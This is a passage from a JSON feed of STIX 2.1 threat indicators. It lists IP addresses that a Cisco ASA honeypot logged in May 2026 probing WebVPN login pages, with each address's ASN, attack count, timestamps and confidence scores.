            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--b2664d98-c765-4835-b398-81928413a32f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.100.145.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T03:41:54.593Z",
          "last_seen": "2026-05-26T03:42:06.034Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8b231955-c268-4af8-ba29-ecb7391bd374",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.128.124.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T04:19:54.881Z",
          "last_seen": "2026-05-30T14:47:31.328Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--acd6f244-9d7c-4880-afec-e1bc24720b0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.159.125.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 35,
          "first_seen": "2026-05-26T03:26:55.868Z",
          "last_seen": "2026-05-30T11:05:25.475Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T04:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--df203a5d-25bc-4229-a546-faf5292c7b8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.47.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T04:20:14.000Z",
      "valid_until": "2026-06-27T04:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T03:21:10.713Z",
          "last_seen": "2026-05-26T03:21:23.289Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0af25609-5ee4-4df1-b22a-fdf52f17e704",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.94.216.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T04:36:44.178Z",
          "last_seen": "2026-05-30T08:49:15.287Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--dc9c62ee-865a-459e-9852-189e46cb02c2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.233.105.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T04:52:59.461Z",
          "last_seen": "2026-05-26T04:53:12.940Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--6840a8c1-d4d1-4e83-902d-a89783e94ecf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.53.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-26T04:33:26.214Z",
          "last_seen": "2026-05-30T14:21:24.623Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--6a9cd89a-1a0f-403e-b0b9-a61c8ad846c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.42.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T05:07:06.001Z",
          "last_seen": "2026-05-26T05:07:21.573Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--522928a4-9f51-42e1-bc6d-4a75f31f5bbd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.68.81.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T05:05:06.802Z",
          "last_seen": "2026-05-26T05:05:17.883Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--439aac08-ce4e-40b3-8813-ce5094f7be5c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.36.231.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T05:02:27.997Z",
          "last_seen": "2026-05-29T16:40:19.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7ae943bb-e6d4-40c9-958f-2016dfef3d4c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.59.12.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T04:49:43.635Z",
          "last_seen": "2026-05-30T13:13:00.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--48f6730b-2226-496d-a518-4a6ce39dfb73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '80.73.242.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T05:20:10.000Z",
      "valid_until": "2026-06-27T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T04:35:07.665Z",
          "last_seen": "2026-05-27T04:35:47.935Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--8a56a981-0eb0-43b0-85a1-9fb2c37f1212",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.176.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T05:21:09.894Z",
          "last_seen": "2026-05-27T08:38:47.223Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--4f718041-6956-41a1-ab75-880439bdf538",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.24.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T06:06:32.273Z",
          "last_seen": "2026-05-30T12:14:01.447Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--de458177-1d66-416f-8b1c-68ea874cf80c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.84.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T05:49:01.689Z",
          "last_seen": "2026-05-29T11:20:39.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--56f62f97-4428-4ebd-ad95-e3be3fe0c889",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.91.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-26T05:59:39.834Z",
          "last_seen": "2026-05-26T05:59:55.382Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--0e40264e-a4e2-4e74-8781-902a2ee8f52e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-26T05:59:15.797Z",
          "last_seen": "2026-05-26T05:59:18.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--3dd731b8-c30a-4fee-a847-8dc0eb701878",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.85.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T06:04:04.603Z",
          "last_seen": "2026-05-29T01:10:20.460Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--0177951e-17df-4b2f-a6b2-eedb9baf350d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.73.218.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T06:20:10.000Z",
      "valid_until": "2026-06-27T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-26T05:46:13.436Z",
          "last_seen": "2026-05-29T13:03:29.973Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--eb56dc3b-dab1-4684-8fd1-d4661563d5c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.194.37']",
